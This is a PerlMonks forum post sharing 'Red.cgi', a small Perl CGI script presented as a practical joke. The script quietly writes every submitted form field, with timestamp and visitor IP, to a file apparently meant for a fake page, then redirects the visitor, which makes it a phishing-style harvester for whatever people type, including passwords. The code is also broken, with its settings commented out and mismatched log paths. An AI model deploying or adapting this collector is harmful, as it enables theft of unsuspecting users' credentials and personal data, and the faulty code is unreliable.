#!/usr/bin/perl


######################################################################
+##########
# Red.cgi   V0.1                                                      
+        #
#                                                                     
+        #
#By James R Addis (jamesradis@hotmail.com)                            
+        #
#                                                                     
+        #
#Created as part of a home project and a practical joke ;>            
+       #Please contact me if you have any questions about this #small
+ program     
#To be used on a webserver and with a webpage with forms if #you have 
+ 
#a good idea of html ect you will know how to make it all #work       
+                                                                     
+ #
# chmod +x this file and stick it in your cgi-bin directory           
+        
#                                                                     
+ 
######################################################################
+##########
# Set-up / Varible Settings                                           
+        #                                                            
+                 #
#$Redirect = "http://192.168.1.1/redirect.htm"; # Direct to #url after
+ runing   ##
#$File     = '>>/tmp/FakePage.txt';           # Where to #save data   
+          ##
#$LogTime  = 1    ;#What time data came in: 1=ON 0=OFF                
+         #  
#$LogIP    = 1    ;#What ip did data come from: 1=ON 0=OFF            
+            #                                                        
+  #
######################################################################
+#########



{# Main Gubins of the program 
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
    ($name, $value) = split(/=/, $pair);
    $value =~ tr/+/ /;
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
    $FORM{$name} = $value;
}}
{#Logging switches
$apple1 = 1;
if ($apple1 == $LogTime){
$timestamp = scalar(localtime);
}else{
$timestamp = Offline;
}
$apple2 =1;
if ($apple2 == $LogIP){
$Poster= $ENV{REMOTE_ADDR};
}else{
$Poster = Offline;
}
}
{# Logging data
open (MYFILE, '>>/tmp/fake.txt');
print MYFILE "Logged at: $timestamp\n";
print MYFILE "Originated from:$Poster\n\n";
foreach $key (keys(%FORM)) {
print MYFILE "$key = $FORM{$key}\n";
print MYFILE "------------------------------------------\n";
}
{# URL lark
print "Location: $Redirect\n\n"; #go to url
}}
 
exit;

[download]

In reply to Red_V0.1.cgi by TheRealNeO

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":


  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.